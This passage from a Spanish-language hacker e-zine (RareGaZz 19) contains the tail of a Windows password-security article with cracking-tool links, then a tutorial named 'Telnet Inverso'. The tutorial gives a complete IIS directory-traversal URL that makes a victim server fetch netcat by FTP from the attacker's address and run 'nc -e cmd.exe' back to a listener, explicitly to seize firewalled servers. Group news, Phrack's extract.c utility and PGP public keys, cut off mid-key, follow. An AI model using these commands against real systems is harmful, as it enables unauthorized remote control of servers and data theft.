sistemas homogeneos, evitando la interaccion entre Windows 95/98
- Windows NT - Windows 2000.
- Mantenga una politica activa respecto de auditorias de cuentas.
- Eduque a los usuarios, gerentes y directores acerca de la
potencialidad de los ataques a contrase~as debiles.
- No practique la aplicacion de contrase~as para los usarios
ordinarios, que por su extrema complejidad lo lleve a *tomar
nota* de su contrase~a para recordarla!
- Utilize caracteres especiales y claves largas para los password
de administrador.
- Renombre la cuenta de administrador por un nombre de usuario
convencional y aplique a esta una clave sumamente extensa y
aleatoria.
- Habilite la auditoria sobre los eventos de LOGON/LOGOFF y
examine diariamente los logs generados.
- Desabilite los enlaces NetBIOS de su placa externa.
- Revise frecuentemente la definicion acerca de sus politicas de
contrase¤as.
10. Conclusiones
~~~~~~~~~~~~~~~~
Hemos llegado al final de este articulo, como habran notado el panorama no
resulta del todo alentador.
Mientras el modelo a aplicar siga siendo el de contrase~as reutilizables, los
administradores seguiremos encontrandonos con los inconvenientes comunes a
toda implementacion.
NOTA: Revise los siguientes links para evaluar algunas de las alternativas a
las contrase~as reutilizables:
http://www.rsasecurity.com/products/securid/
ftp://ftp.cert.dfn.de/pub/tools/password/SKey/
Nunca olvidemos uno de los conceptos basicos en seguridad informatica, *Un
sistema es tan seguro como su eslabon mas debil*, usted podria establecer
las claves ma s poderosas en sus sistemas y de toda forma ser victima de un
ataque de ingenieria social.
Otro punto relevante a tener en cuenta, es que los ataques a contrase~as
presuponen, generalmente haber ganado con anterioridad acceso de algun tipo,
a los sistemas a atacar.
Este es el motivo por el cual las verdaderas contramedidas respecto de este
tema, deberia ser el conjunto de contramedidas implementadas en nuestros
sistemas como una estrategia global.
Por ultimo, recuerde que en la practica, en el 90 por ciento de los casos una
vez obtenido acceso a la informacion del SAM, la obtencion de contrase~as es
cuestion de tiempo...
Angel Protector
11. Tools
~~~~~~~~~
http://www.atstake.com/research/lc3/download.html (LC3 - L0phtCrack 3.02)
http://astalavista.box.sk/cgi-bin/robot?srch=lc3&submit=+search+ (LC3-Crack)
http://www.atstake.com/research/lc3/download.html (L0pht 1.5 source code)
http://www.polivec.com/pwdump3download.html (Free-pwdump3 v2.0)
http://ftp.cerias.purdue.edu/pub/dict/wordlists/ (Diccionarios)
12. Links/Referencias
~~~~~~~~~~~~~~~~~~~~~
A continuacion encontrara material consultado al momento de confeccionar el
presente articulo:
http://www.microsoft.com/security
http://www.microsoft.com/technet
http://www.w2000mag.com/atrasados/2001/52_abr01/articulos/suplemento
/proteccion.htm
http://www.w2000mag.com/atrasados/2001/52_abr01/articulos/suplemento
/proteccion_columna.htm
http://www.hackingexposed.com
http://www.rsasecurity.com
http://online.securityfocus.com/infocus/1554
http://www.atstake.com/research/lc3/index.html
http://www.atstake.com/research/lc3/documentation/help.htm
http://www.sysinternals.com/ntw2k/freeware/NTFSDOS.shtml
http://online.securityfocus.com/infocus/1554
http://www.microsoft.com/Latam/technet/seguridad/robichaux/ro1299.asp
http://www.microsoft.com/Latam/technet/seguridad/au/junio2000.asp
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_0E Telnet Inverso Hacking ^Shadown^
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Holas, desde hace algo de tres a~os y pico que integro el grupo, y hasta ahora
no habia escrito ningun articulo, si bien colabore en la elaboracion de
algunos, todavia no habia escrito ninguno completamente desarrollado por mi.
Asi que bueno...llego el momento de hacer algunas colaboraciones. Espero que
les sea de utilidad a todos los que tienen dudas de como hacer algunas cosas,
como por ejemplo pasar un firewall.
-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0
El tema que voy a describir es el telnet inverso y como aplicarlo para sacar
beneficio ;-).
Muchas veces me encontre con gente con conocimientos diversos de seguridad y
que por no conocer esta tecnica no pudieron apoderarse de algun sevidor en el
cual podian ejecutar codigos arbitrarios.
La cosa es asi, que sucede cuando nos encontramos frente a un servidor el cual
esta firewallado y el unico puerto que tenemos abierto es el 80 para
accederlo?, bueno, la cosa es muy sencilla, evidentemente nosotros no podemos
telnetearlo pues no tenemos acceso, tampoco podemos tomar el GUI de la maquina
porque tampoco tenemos habilitado un puerto que lo permita... pues entonces
que hacemos? , la respuesta es sencilla si no podemos telnetear nosotros,
haremos que el servidor nos telnetee a nosotros.(osea hacer un telnet inverso)
Que? que como hago eso? , simple, seguramente muchos de ustedes deben haber
oido por ahi que hay una aplicacion llamada Netcat, que todo el mundo la llama
la navaja suiza, y muchos se habran preguntado porque. El netcat es una
estupenta herramienta que sirve para realmente muchisimas cosas como scanear
tcp, udp, usarlo como telnet... etc. y entre ellas esta la opcion de hacer que
realize un telnet hacia algun objetivo que este en escucha y que le envie una
seccion de sh o cmd.exe en este caso. (sh para *nix y cmd.exe para nt/2k).
Bueno vamos a ver como funciona esto con un ejemplo practico. Supongamos que
estamos atacando un servidor Nt con IIS que es vulnerable a alguna falla de
codigo transversal que nos permite ejecutar comandos sobre ese server, pero
que esta detras de un firewall. Esto puede aplicarse sobre cualquier sistema
objetivo en el cual podamos ejecutar comandos, ovbiamente van a variar los
comandos que ejecutemos de acuerdo al OS remoto.
Probablemente el servidor SI puede salir hacia internet. (pero en muchos casos
no).
Tenemos que hacer que el servidor se conecte a un ftp en el que este el nc.exe
(netcat) y que lo baje. Y luego hacer que el nc se ejecute con algunos
parametros.
Esto lo podemos automatizar y hacer que realice todas estas operaciones de una
sola vez.
Primero que tenemos que levantar un servidor ftp en nuestra maquina (puede ser
un Serv-U (nt) o un wu-ftpd (*nix), creamos una cuenta y un pass, y vamos a
poner el nc.exe en el directorio inicial de nuestro servidor de ftp.
Y luego le pasamos la lista de comandos al server objetivo. La secuencia seria
la siguiente:
"cd %systemroot% && echo shadown > ftptmp && echo abracadabra >> ftptmp &&
echo bin >> ftptmp && echo get nc.exe >> ftptmp && echo bye >> ftptmp &&
ftp -s:ftptmp mi_ip && del ftptmp && attrib -r nc.exe && nc -e cmd.exe mi_ip 80"
que en el browser quedaria asi:
http://server_ip/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"cd
%systemroot% && echo shadown > ftptmp && echo abracadabra >> ftptmp && echo
bin >> ftptmp && echo get nc.exe >> ftptmp && echo bye >> ftptmp &&
ftp -s:ftptmp mi_ip && del ftptmp && attrib -r nc.exe && nc -e cmd.exe mi_ip 80"
de esta forma hacemos un archivo llamado ftptmp el cual va a contener el user
y pass , y los comandos que tiene que ejecutar para bajarse el nc, luego
ejecutamos el ftp -s para que haga lo que dice el archivo (ftptmp en nuestro
caso), luego borramos el ftptmp y ejecutamos el nc.exe con para que se conecte
a nosotros con la consola del servidor. =)
Algo importante, en nuestra maquina tenemos que tener el levantado el nc en
escucha para que el server se conecte con nosotros. Esto se hace asi.
nc -vv -l -p 80
-vv = very verbose
-l = listen (escucha)
-p = puerto
Entonces, primero levantamos el nc en escucha y nuestra maquina y luego le
decimos al server lo que tiene que hacer, y lo esperamos con un caluroso
abrazo receptivo en nuestro equipo ;-)
Una vez que el server esta tomado, es solo cuestion de la imaginacion de cada
uno lo que puede hacerse.
Bueno esto es todo, espero que les sea util y que hayan aprendido algo nuevo.
A los que aprendieron que lo disfruten y a los que conocian sorry "algo" tenia
que escribir.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_0F Pandemonium RareGaZz Rare-Team
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Pandemonium: m. Capital imaginaria del infierno. || Fig. Sitio donde hay
mucho ruido y agitacion.
'.
:
' ' ' ' ' ' '
En este seccion de RareGaZz, podreis enterarse de lo que acontece
internamente con el grupo; proyectos, anuncios, convocatorias, etc. De igual
manera con algunos datos que puedan ser de vuestro interes.
Me hago total responsable de lo publicado aqui. ;)
' ' ' ' ' ' ' ' '.
:
[+] Datos de RareGaZz:
[-] La actual direccion de RareGaZz es:
http://RareGaZz.com.ar
Y nuestra direccion que nos acompa~a desde RareGaZz 18:
http://RareGaZz.cjb.net
[-] Algunas veces, os sera posible encontrar a algunos integrantes de
RareGaZz en el IRC-HISPANO:
Server: irc.irc-hispano.org
Channel: #mano_izquierda
[+] Nuevos Integrantes:
Todo el Equipo de RareGaZz, da la bienvenida a tres nuevos integrantes,
ellos son:
[-] Angel Protector (Argentino)
[-] Buanzo (Argentino)
[-] v1k1ng0 (Espa~ol)
[+] RareDudeZ:
Nuestra Lista RareDudeZ esta funcionando normalmente, y sigue siendo
moderada; pero ahora por la mitad de los integrantes; de esta manera se
pretende dar 'agilidad' a los mensajes enviados.
Enviar un mensaje,
Para subscribirse: RareDudeZ-subscribe@yahoogroups.com
Para DEsubscribirse: RareDudeZ-unsubscribe@yahoogroups.com
[+] Traduccion de la Phrack:
Con la emision de este RareGaZz 19, ya debeis estar al tanto de las mas
recientes traducciones de la revista Phrack. Hay algunas que estan en
proceso de traduccion. Si deseais colaborar con la traduccion, envia un
mensaje:
To: ReYDeS@bigfoot.com
Subject: Traduccion Phrack
[+] RareGaZz 20:
Pues como se menciono en la presente editorial; la emision de una futura
RareGaZz; resulta indefinida. Aunque con vuestras colaboraciones y
participacion, todo es posible. Animaros!.
[+] Colaboraciones:
Si deseais colaborar de alguna manera con RareGaZz; sea esto, con algun
texto, codigo, investigacion, idea, tema, etc. Sois libres de hacernoslo
saber. Es importante que nos envien un e-mail a: raregazz@gmx.net; de esta
manera podremos coordinar correctamente vuestra colaboracion.
[+] Saludos:
Enviar un saludo cordial y decir que siempre recordamos a nuestros
amigos; a pesar de que puedan existir diferencias entre nosotros:
[-] RareTrip
[-] PaTa
[-] Guybrush
[-] y0ni
[-] Cytorax, Senpai, Aj0, y todos aquellos que alguna vez formaron parte
de RareGaZz.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_10 Traducciones de la Phrack Phrack Varios
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Los remito al directorio RGZ-phr58/, en el cual encontraran las traducciones
realizadas, a algunos de los textos publicados en la revista Phrack #58.
Tambien os sera posible encontrar las traducciones en nuestra pagina web;
pues como uno nunca sabe cuando puede acontecer algun inconveniente; y
literalmente 'desaparecer' ;) Hemos creido conveniente entregar las
traducciones con RareGaZz 19.
Si deseais colaborar con el Proyecto de Traduccion de la Revista Phrack;
revisen la seccion Pandemonium; en la cual encontraran informacion detallada
al respecto.
Disfruten las traducciones, y si encuentran algun error en ellos, no duden
en contactarnos.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_11 extract.c Utilidad Phrack
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
/*
* extract.c by Phrack Staff and sirsyko
*
* Copyright (c) 1997 - 2000 Phrack Magazine
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* extract.c
* Extracts textfiles from a specially tagged flatfile into a hierarchical
* directory structure. Use to extract source code from any of the articles
* in Phrack Magazine (first appeared in Phrack 50).
*
* Extraction tags are of the form:
*
* host:~> cat testfile
* irrelevant file contents
* <++> path_and_filename1 !CRC32
* file contents
* <-->
* irrelevant file contents
* <++> path_and_filename2 !CRC32
* file contents
* <-->
* irrelevant file contents
* <++> path_and_filenamen !CRC32
* file contents
* <-->
* irrelevant file contents
* EOF
*
* The `!CRC` is optional. The filename is not. To generate crc32 values
* for your files, simply give them a dummy value initially. The program
* will attempt to verify the crc and fail, dumping the expected crc value.
* Use that one. i.e.:
*
* host:~> cat testfile
* this text is ignored by the program
* <++> testarooni !12345678
* text to extract into a file named testarooni
* as is this text
* <-->
*
* host:~> ./extract testfile
* Opened testfile
* - Extracting testarooni
* crc32 failed (12345678 != 4a298f18)
* Extracted 1 file(s).
*
* You would use `4a298f18` as your crc value.
*
* Compilation:
* gcc -o extract extract.c
*
* ./extract file1 file2 ... filen
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#define VERSION "7niner.20000430 revsion q"
#define BEGIN_TAG "<++> "
#define END_TAG "<-->"
#define BT_SIZE strlen(BEGIN_TAG)
#define ET_SIZE strlen(END_TAG)
#define EX_DO_CHECKS 0x01
#define EX_QUIET 0x02
struct f_name
{
u_char name[256];
struct f_name *next;
};
unsigned long crcTable[256];
void crcgen()
{
unsigned long crc, poly;
int i, j;
poly = 0xEDB88320L;
for (i = 0; i < 256; i++)
{
crc = i;
for (j = 8; j > 0; j--)
{
if (crc & 1)
{
crc = (crc >> 1) ^ poly;
}
else
{
crc >>= 1;
}
}
crcTable[i] = crc;
}
}
unsigned long check_crc(FILE *fp)
{
register unsigned long crc;
int c;
crc = 0xFFFFFFFF;
while( (c = getc(fp)) != EOF )
{
crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF];
}
if (fseek(fp, 0, SEEK_SET) == -1)
{
perror("fseek");
exit(EXIT_FAILURE);
}
return (crc ^ 0xFFFFFFFF);
}
int
main(int argc, char **argv)
{
char *name;
u_char b[256], *bp, *fn, flags;
int i, j = 0, h_c = 0, c;
unsigned long crc = 0, crc_f = 0;
FILE *in_p, *out_p = NULL;
struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;
while ((c = getopt(argc, argv, "cqv")) != EOF)
{
switch (c)
{
case 'c':
flags |= EX_DO_CHECKS;
break;
case 'q':
flags |= EX_QUIET;
break;
case 'v':
fprintf(stderr, "Extract version: %s\n", VERSION);
exit(EXIT_SUCCESS);
}
}
c = argc - optind;
if (c < 2)
{
fprintf(stderr, "Usage: %s [-cqv] file1 file2 ... filen\n", argv[0]);
exit(0);
}
/*
* Fill the f_name list with all the files on the commandline (ignoring
* argv[0] which is this executable). This includes globs.
*/
for (i = 1; (fn = argv[i++]); )
{
if (!head)
{
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
strncpy(head->name, fn, sizeof(head->name));
head->next = NULL;
fn_p = head;
}
else
{
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
fn_p = fn_p->next;
strncpy(fn_p->name, fn, sizeof(fn_p->name));
fn_p->next = NULL;
}
}
/*
* Sentry node.
*/
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
fn_p = fn_p->next;
fn_p->next = NULL;
/*
* Check each file in the f_name list for extraction tags.
*/
for (fn_p = head; fn_p->next; )
{
if (!strcmp(fn_p->name, "-"))
{
in_p = stdin;
name = "stdin";
}
else if (!(in_p = fopen(fn_p->name, "r")))
{
fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
fn_p = fn_p->next;
continue;
}
else
{
name = fn_p->name;
}
if (!(flags & EX_QUIET))
{
fprintf(stderr, "Scanning %s...\n", fn_p->name);
}
crcgen();
while (fgets(b, 256, in_p))
{
if (!strncmp(b, BEGIN_TAG, BT_SIZE))
{
b[strlen(b) - 1] = 0; /* Now we have a string. */
j++;
crc = 0;
crc_f = 0;
if ((bp = strchr(b + BT_SIZE + 1, '/')))
{
while (bp)
{
*bp = 0;
if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
{
perror("mkdir");
exit(EXIT_FAILURE);
}
*bp = '/';
bp = strchr(bp + 1, '/');
}
}
if ((bp = strchr(b, '!')))
{
crc_f =
strtoul((b + (strlen(b) - strlen(bp)) + 1), NULL, 16);
b[strlen(b) - strlen(bp) - 1 ] = 0;
h_c = 1;
}
else
{
h_c = 0;
}
if ((out_p = fopen(b + BT_SIZE, "wb+")))
{
fprintf(stderr, ". Extracting %s\n", b + BT_SIZE);
}
else
{
printf(". Could not extract anything from '%s'.\n",
b + BT_SIZE);
continue;
}
}
else if (!strncmp (b, END_TAG, ET_SIZE))
{
if (out_p)
{
if (h_c == 1)
{
if (fseek(out_p, 0l, 0) == -1)
{
perror("fseek");
exit(EXIT_FAILURE);
}
crc = check_crc(out_p);
if (crc == crc_f && !(flags & EX_QUIET))
{
fprintf(stderr, ". CRC32 verified (%08lx)\n", crc);
}
else
{
if (!(flags & EX_QUIET))
{
fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",
crc_f, crc);
}
}
}
fclose(out_p);
}
else
{
fprintf(stderr, ". `%s` had bad tags.\n", fn_p->name);
continue;
}
}
else if (out_p)
{
fputs(b, out_p);
}
}
if (in_p != stdin)
{
fclose(in_p);
}
tmp = fn_p;
fn_p = fn_p->next;
free(tmp);
}
if (!j)
{
printf("No extraction tags found in list.\n");
}
else
{
printf("Extracted %d file(s).\n", j);
}
return (0);
}
/* EOF */
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_12 Llaves PGP Private RareGaZz
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Si deseais escribir a alguno de los integrantes de RareGaZz; os aconsejamos
utilizar su llave pgp para encriptar dicho mensaje; ya sea que nos envien
informacion sensible, o simplemente por una _buena_ costumbre.
Si alguno de nosotros _modificase_ su llave; siempre os sera posible
encontrar la actual, en la seccion _STAFF_ de la web de RareGaZz.
<++> pgp_r19/Angel_Protector.asc
pub 1024 0x3935B49B 2001-12-27 ---------- DSS Sign & Encrypt
sub 2048 0xC439B845 2001-12-27 ---------- Diffie-Hellman
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial
use
mQGiBDwrXHARBAD0T3tyyl0HqaRVLfP1YZTmeu6NdcX5xJM2reVI7G9szRc3Y8ch
jTSqWOLF3Zzm9deBxcRHTQq0wAKLMytUqoBD6jn2fQ3I66vZHj9psEB2MJYa8TXL
Gs2TO+/0ej1+4P4YccV6sjzPZN9cMd2FSEMi/z/tam3Q2slmOZ7PVyDkrwCg/0rR
PR1Ego/zo6CWYsttWJJ+o2kEAIhCPWZBXQs20pSEg0/L7zKU9MM14gJNnngmqwr6
cUE8ysm+HkDJXD4Ferr/pDuPs3cekMek4g519jiCkiRtUFNirkXaA1C7fxc3lrQk
+DFsgXeIz5cn+fw1DDLsCXCQjpQdEPLvcex1+Bbp+xYmuMKoF/CqjeeyGGf3U4TU
j9O3A/90hVzHaMlu4QyyKLfUPphazhHPvmm5eOo3QY/aVj9MuYvHxiM0x6sC6DIn
EbbzU7QuuM1bF0Hb3Lja/P/VMkpZOVME/z7EdE5icCgd4hVExd04+eu92J7Hw74L
YmJbNa7ZkwC7KpBK0MpWvqveJ3Vt4Hl4Gj60nMapLNGSeiR3h7QsQW5nZWwgUHJv
dGVjdG9yIDxhbmdlbHByb3RlY3RvckBob3RtYWlsLmNvbT6JAFgEEBECABgFAjwr
XHAICwMJCAcCAQoCGQEFGwMAAAAACgkQrHbfjjk1tJupdACg6q0jbC3SR/pJqr/I
NfdxUsCGEMUAnR+9yIcgt7r5RG9TLP71lJod9ByouQINBDwrXHAQCAD2Qle3CH8I
F3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgM
g71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V
+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0P
fIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEp
QBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6
q6Jew1XpMgs7AAICCADgCBAGMbzK2d+BhrtuY8aXCkWPaUFZniK+h3OvtiigNs24
CsNm8VOZhebL4xP2l01J3RyyZE5A/BACq2g4LTihuY4MAoH/g2hPgOdcJj+IG6PU
MsYxlk9v8A+sagt+3vryNEAECN0cuVlji4b3RuVIji17VXcWRyYazpgr6Ze6RF0+
HBTX6JtJyhTTxDj6hnb3e7f9oZqwGtZMAs64Fvt05uyecFAEh2HI0z72IQ+P9lWz
2Uth7+ty9rJGND2NrXmeBsaZLf6vV3+XIaRlHJL4+PibFafLqV03mDMB2bmhqzvk
kA+Ro3wp5vyoTAo47bEn36i+4WJ2yuyjuW9M4YrCiQBMBBgRAgAMBQI8K1xwBRsM
AAAAAAoJEKx23445NbSbIhEAnRDZF/dLWPwiGEDd52VWYlIAhmt8AKDOLeV78XqN
tF6MAi6rTemQa66fdA==
=+O62
-----END PGP PUBLIC KEY BLOCK-----
<-->
<++> pgp_r19/Buanzo.asc
pub 1024 0x2A0FA45A 2001-12-02 2011-11-30 DSS Sign & Encrypt
sub 2048 0xCF4D591D 2001-12-02 2011-11-30 Diffie-Hellman
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQGiBDwJkZcRBACihBYwmv23nm56sB8oyfYRIfpjTp0GCxzWi2719Dn0nlcaRFIj
QK54ew88Ei9O39Oc3GTdK7WorNxJL9lVMOqa1mi6SXUQcKliVqIMlegwymmY98rE
lLUxfzf8zN2x6TgmbfTUnV+b2XiigHvgR/+IX60f779RB3q99jGKjdJEZwCg+juU
I7yvC9xYfR/bmYiZanBYQZ8D/R0JzJwxRvDkP/CHOh5XgUyiJ9KKkYhP2NtLFfB7
cyyND0/ZtPHeFAp8C0nftPRf/1gDnrtV7JMZoElkkDGhLXmChqgFY348QVpuMXe5
6OlTN9lW9g9MvlQxrqrl6vOqYBD/BENMDjvnpRTU+3Wl1IgQ4KLH01INpe4tS5hT
pHg/A/sFuw1zJkSI6W4SyuzvGWa2yn0BwjV2nwlJEMbvCbNGODQWXQHq/ifA4+ZS
vOZwIgPX2aQZ9tBzpG7sPFyoIdO4bn9rL/Iz97cRliNKkog80H3zRp0eOl81d8lm
MvsQrldTCEFyN+k4vZYXNbdeylWs3kyho/gHyLq45RWheM5KOrQ0QXJ0dXJvIEJ1
c2xlaW1hbiAoYWthIEJ1YW56bykgPGJ1YW56b0BidWFuem8uY29tLmFyPokAXQQT
EQIAHQUCPAmRlwUJEswDAAULBwoDBAMVAwIDFgIBAheAAAoJEPpMqYkqD6RaVv4A
oL6siOiPrV3etUoqBFWdwCvUFDdwAJ9p/9RzRfiv3fN6bds9Bf6le3uVG7kCDQQ8
CZMqEAgAoGiAoaYi+00m8hPZCOMGInaK/4ZsTX0FUuDTJO3T7Ziefal4LCw5ZVUF
+xK3m+83yCNvPWwnjXnELar5xLtakS+HhI5YCc9Qzo4kG2lGilNn1vD7hcfDTOKZ
JMy+r9X4UZ1vraXywtmELGzvWwVvnb7UCsDx7uWQZvz6mstNwaM/lQ086jFSMsfO
Df0laMNnTBrSwnTMErfjsPif9hchUJYl1zFMDt979A9yjBk4lArNqEgiruMGBI4t
d4tZ+m5IuQh/jj8gxv0iHkRWZuXfGIYhdkosGZX84qWBhTFAV8F5NqjOu90RfPcv
9fY5dq9UcANCUlZOtfLLwnhlfwJZQwADBQf/bqBGqv48mcH+DsaWBeN9C+AiN0Q2
NE3RKPkoyLEPkXfTtBRiHMT+zyeyBHQUeDxnm1Su2iqDGtoDro0Y4eSj1gu4PSXm
Tigu7wFK1cnLdC6Lbb959GFLYJbGN39zUpY7C/CbWLWKutBSRHigmk0oMEpGaZok
6nOrY8wHGZTcbF5YTyFLkf8NuJVGoes3MNY5RdPzOdPvYztSEqotyPK/wSA18RKV
BxbFtWnVJQxN9KgKMjzrtjFwpMoPk9ZAri9T6i/snO3068MXtOR8Yi0NW2HHxGxU
XTeTiBagHCpQ0vKWQp9nQpmJ69EvXynZwQsfEyCtgX8DSktZH7dOHCfSM4kATAQY
EQIADAUCPAmTKwUJEswDAAAKCRD6TKmJKg+kWp0sAKCaPW6B5I8lJwrG6Hc6NZDs
v3zs1QCdE1HcdFzOPVhz1KlKXCDrH1hOz6g=
=6S/f
-----END PGP PUBLIC KEY BLOCK-----
<-->
<++> pgp_r19/Ocsic.asc
pub 1024 0x2CA5AA90 1999-08-24 ---------- DSS Sign & Encrypt
sub 4096 0x4807B59F 1999-08-24 ---------- Diffie-Hellman
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
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
